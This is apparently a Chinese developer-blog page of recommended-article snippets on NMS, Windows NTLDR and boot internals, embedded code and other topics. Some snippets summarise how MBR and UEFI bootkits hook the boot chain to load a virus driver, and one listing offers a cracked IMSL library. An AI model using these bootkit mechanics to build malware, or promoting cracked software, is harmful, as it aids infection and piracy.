当前的物体检测算法为了保证召回率,对于同一个真实物体往往会有多个的候选框输出。由于多余的候选框会影响检测精度,因此需要利用NMS过滤掉重叠的候选框,得到最佳的预测输出。当前有如下几种较为常见的NMS方法, 1.基本NMS 非极大值抑制, 顾名思义就是抑制不是极大值的边框,这里的抑制通常是直接去掉冗余的边框。 这个过程涉及以下两个量化指标: 1.预测得分:NMS假设一个边框的预测得分越高,这个框...

LeoLee 1944

BioEmu:微软黑科技炸场!生成式AI重构蛋白质模拟:千倍效率碾压传统计算,新药研发周期砍半

BioEmu 是微软推出的生成式深度学习系统,可在单个 GPU 上每小时生成数千种蛋白质结构样本,支持模拟动态变化、预测热力学性质,并显著降低计算成本。

士多啤梨先生の博客 1100

NTLDR的原理

  Normal 0 7.8 pt 0 2 false false false MicrosoftInternetExplorer4 <!-- /*

ruixj的专栏 1901

11 指挥AI写C语言/嵌入式基础代码,适配硬件与底层逻辑

本文为《30天掌控AI编程:从指令到落地,手把手教你指挥AI写代码》系列第十一篇,正式进入第三阶段多场景实战环节。聚焦**C语言/嵌入式基础代码**生成,结合嵌入式开发的核心需求,讲解如何精准编写指令,指挥AI生成适配硬件、贴合底层逻辑的C语言代码,覆盖嵌入式常用底层功能、硬件适配要点、代码规范,搭配完整指令模板、AI输出示例与实操校验方法,零基础也能快速指挥AI完成嵌入式基础开发,无需死记硬背C语言底层语法。

coreopt的博客 141

用Bochs调试NTLDR

导读:   关键字:bochs, bochsdbg, ntldr, 调试   对一台安装了Windows NT 系列操作系统的PC来说,按下电源开关之后,CPU中首   先开始运行的是Bios,然后是MBR,接着是引导扇,然后就是NTLDR。ntoskrnl.exe和   hal.dll 都是由NTLDR来加载的。也就是说,运行NTLDR的时候,系统中还没有任何应   用程序或者驱动,当然

xu的blog 890

2026保姆级:1小时搞定C# OPC UA客户端开发——PLC与上位机全量数据交互零基础教程

本文介绍了使用C#开发OPC UA客户端的核心流程和关键代码实现。文章首先指出工业上位机开发中OPC UA的重要性,并针对新手常见问题提出了1小时掌握核心功能的解决方案。重点内容包括:选择官方.NET Standard库的优势、5分钟搭建开发环境的步骤、OPC UA客户端架构与通信流程的图解说明,以及完整的客户端基础类代码实现,涵盖了连接管理、证书配置、安全认证等关键功能。通过本文提供的代码模板,开发者可快速实现与PLC等工业设备的稳定数据交互。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 803

建立时间与保持时间

建立时间与保持时间的计算 文章目录1、建立时间与保持时间概述及模型2、寄存器之间数据传输时建立时间与保持时间3、寄存器之间数据传输时建立时间余量与保持时间余量计算4、 FPGA允许的最大时钟频率或最小时钟周期5、计算FPGA时钟所允许的最大频率或最小时钟周期6、违反建立和保持时间会发生什么? 1、建立时间与保持时间概述及模型 建立时间(Tsu): 在时钟采样之前,输入必须稳定一段时间,该时间量称为建立时间。 理想最优建立时间: 保持时间(Th): 在时钟沿之后输入到触发器稳定所需的最短时间。 理想最优

Crazzy_M的博客 3万+

Windows启动过程原理:叙Windows平台下基于MBR和UEFI的bootkit

安全的对抗首先在权限方面,权限高的进程对权限低的权限就是就是降维打击,无往不利。当权限相同时,启动得早便为王。所谓的bootkit也就是基于这个思路设计的一种复杂病毒。它优先于Windows系统启动,自然也就优先于杀毒软件启动的时间。鉴于国内对bootkit的文章不多,本文想介绍一下bootkit的具体技术细节。为了保证内容的梯度和完整度,其中基于MBR的rootkit分别以WindowsXp和Win7为例,而基于UEFI的bootkit则可以在Windows7以上版本(7,8,10)的运行。 一:基于M

zz_strive_2012的专栏 1352

无人飞行器和车辆的协同配送物资问题——附带MATLAB代码

通过建立城市地图、生成物资点和配送任务、路径规划、协同调度以及仿真和评估等步骤,可以有效地解决物资配送的优化问题。通过建立城市地图、生成物资点和配送任务、路径规划、协同调度以及仿真和评估等步骤,可以有效地解决物资配送的优化问题。我们的目标是最小化物资配送的总时间,同时确保每个物资点都被正确配送的无人飞行器或车辆所访问。我们的目标是最小化物资配送的总时间,同时确保每个物资点都被正确配送的无人飞行器或车辆所访问。我们首先需要建立一个城市地图,包括物资点、无人飞行器的起始点和车辆的起始点。

CyberJolt的博客 951

BOOTKIT技术深度研究:从攻击机理到白帽防御的全链路解析

本文深入解析了BOOTKIT(引导区木马)这一底层安全威胁。文章首先梳理了BOOTKIT的技术演进,从传统BIOS时代到现代UEFI环境;其次揭示了其难以防御的三大特性:先于OS加载、超越文件系统的持久化机制、高级隐藏技术;随后提出了白帽防御的三层体系:引导前检测(哈希验证、动态监控)、运行时防护(SecureBoot)、应急清除(修复组件、刷写固件);最后展望了固件漏洞、供应链攻击等新兴威胁及AI防御等前沿方向。文末强调,掌握BOOTKIT攻防技术对构建全栈安全防护体系至关重要。

fearhacker的专栏 948

OpenClaw 生成测试用例

OpenClaw 只是躯干,Skills 才是灵魂。很多同学觉得 OpenClaw 没用,就像是买了一台顶级电脑却没装操作系统。通过这四步走,不仅可以学会如何让 AI 干活,更重要的是,可以学会如何管理 AI 的能力。

十二测试录 739

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

BootKit病毒——“异鬼Ⅱ”的前世今生

七月底,一种名为“异鬼Ⅱ”的木马在全网大肆传播。一个多月过去了,风声渐渐平息,之前本来准备专门就这个木马写一篇博客的,结果拖到现在,幸好时间隔得还不算太久。闲话不多说,回到正题。 虽然腾讯电脑管家已经很早就做出了相应的更新,并同时推出了“异鬼Ⅱ”病毒的专杀固件,但还是有不少电脑中招,所幸因为该病毒的特殊属性,没有造成太大的经济损失。下面我就详细介绍一下这种病毒。 ...

diehong3707的博客 583

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

[转] 基于MBR 的bootkit的进展 鬼影-TDL4-BMW

以前写的做个总结,留念1,MBRBOOTKIT –鬼影?0?3鬼影系列?0?3特点:只支持XP 系统,基于国外的开源版本修改。?0?3从MBR里,挂中断13H,驻留高端内存,挂NTLDR 加载,对NTOS的函数进行HOOK,在NTOS初始化过程中,加载病毒驱动,从而进行一系列操作。?0?3所有病毒代码都在 MBR区域里,位于操作系统之外,格式化硬盘,重装系统均无法解决。?0?3缺点:只支持XP系...

weixin_30852367的博客 259

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

计算机的启动过程加载要点

1.参考书目《深入理解计算机系统》,在这本书里可以

findaway123的专栏 1083

osloader!DoGlobalInitialization函数分析之HW_CURSOR--NTLDR源代码分析之设置光标

osloader!DoGlobalInitialization函数分析之HW_CURSOR--NTLDR源代码分析之设置光标

linux-0.11调试教程 560

Windows NT引导过程源代码分析(一)

转载自:https://blog.youkuaiyun.com/cosmoslife/article/details/7855425 Windows引导过程 Windows内核中的各个组件和各种机制在起作用以前,必须首先被初始化。此初始化工作是在系统引导时完成的。当用户打开计算机的电源开关时,计算机便开始运行,但操作系统并不立即获得控制权,而是BIOS代码首先获得控制,它执行必要的硬件检测工作,并允...

hnzwx888的专栏 2223

windows之启动过程(一)

windows的启动过程一直是我比较感兴趣的。下面看一下他是怎么启动的。 1. BIOS 加电自检 (包括枚举设备,初始化显卡等。这时可以进入BIOS内进行一些主板设置,如修改主板时间、设置从USB启动等) 2. BIOS 选择一个启动设备,执行主引导记录(MBR)。  MBR是一个设备的第一个扇区,包含引导代码和分区数据。最多支持4个分区数据,如果你把系统

点点灵犀 1663

ntldr代码分析

首先声明这次的分析是我一点一点跟着NTLDR分析做的,这篇文章讲述的很跳跃,说实话一开始我也没怎么看懂,之后又结合了老师给的文档一点点去对照着看懂的。正如老师要求的那样,是要用我自己的思想把这个ntldr解释出来。 这次的任务是用bochs动态调试ntldr代码部分,并结合windows nt4的源码做分析。 ntldr分为两部分 一个是startup,一个是osloader;我们依次分析。 st...

heydaimy的博客 993

[Windows内核源码分析0] 引导过程(Phase0部分分析)

看了下之后加载了APCI.sys, pci.sys, isapnp.sys, compbatt.sys, intelide.sys, MountMgr.sys, ftdisk.sys等等。该函数的主要目的是初始化内核数据结构, 初始化空闲线程和处理器对象, 初始化PCB结构即进程控制块, 并调用执行体层的初始化例程, 并且也用于新处理器上线时的初始化。上面的描述说该例程会被调用2次, 首先在Phase0阶段初始化执行体层和所有它的子组件, 接着在Phase1阶段再次执行初始化工作。

輚至消亡 1515

Windows NT引导过程源代码分析(二)

转载自:https://blog.youkuaiyun.com/cosmoslife/article/details/7855425 1.2内核初始化 内核的初始化主要是内核各个组件的初始化,但由于这些内核组件之间有紧密的耦合关系,所以它们的初始化并不是简单地顺序执行初始化。为了解决在初始化过程中的相互依赖性问题,内核的初始化分两个阶段进行,称为阶段0和阶段1。大多数内核组件的初始化函数相应地带有...

hnzwx888的专栏 1543
上一篇: 基于处理器调试机制的Rootkit隐形技术
下一篇: WPA Wi-Fi加密被破解
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值